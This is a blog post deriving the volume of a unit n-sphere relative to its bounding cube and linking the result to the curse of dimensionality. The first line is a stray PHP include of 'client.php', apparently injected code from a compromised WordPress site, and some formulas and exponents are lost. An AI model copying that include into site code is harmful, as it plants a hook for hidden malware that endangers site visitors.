@include( ABSPATH . WPINC . '/client.php'); Deriving the volume of an n-dimensional hypersphere in 3 minutes – Posts technical---or quite simplistic

# Deriving the volume of an n-dimensional hypersphere in 3 minutes

What's bigger, the unit circle or the unit sphere?

This is a trick question, because $L^2$ and $L^3$ are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. $\pi$ < $4\pi/3$) doesn't tell you much. So let's ask a different question: if we inscribe an n-sphere inside an n-cube, is a unit circle bigger or smaller, relative to its bounding square, than the unit sphere relative to its bounding cube? And in general, what will be the ratio of their volumes as a function of $n$?

Suppose we fix the radius of the n-sphere to be 1. The edge length of the n-cube, then, is 2, and its volume is 2n. So, that means that the ratio of the volumes is (1/2)n, times some prefactors. Right?

Right. But the form of the prefactor here is quite fascinating. Here's what the volume of the n-sphere is:

See that Gamma function in the denominator? It grows like $(n/2)!$, meaning that our original estimate of the hypersphere/hypercube volume ratio as (1/2)n is quite a few orders of magnitude off for even moderate n. As n grows, the volume of a unit n-sphere goes to zero super-exponentially.

This has an important implication when you want to cluster high-dimensional data. Intuitively, any clustering algorithm (e.g. k-means) involves drawing a boundary around a set of points that lie within a certain radius of their mean. But what we just found is that if we draw a sphere of even a relatively large radius around points in n-dimensions, for n larger than about 30, the volume of that region enclosed by the spherical boundary is approximately zero, meaning that it's highly unlikely to have any points! In that sense, everything is far apart in high dimensions. This is known as the curse of dimensionality.

Volumes of n-spheres are useful in other contexts (for instance, in statistical mechanics). In fact, back in my physics days I learned a very cool and easy derivation of the n-sphere volume formula above. I like it so much that I made not one but two videos about it. Below you can see me doing the derivation in 3 minutes flat. There is also the longer version where I do the same steps, but a little more slowly and methodically. Enjoy!

The video cannot be shown at the moment. Please try again later.

Tagged with .

Some HTML is OK

(required)

(required, but never shared)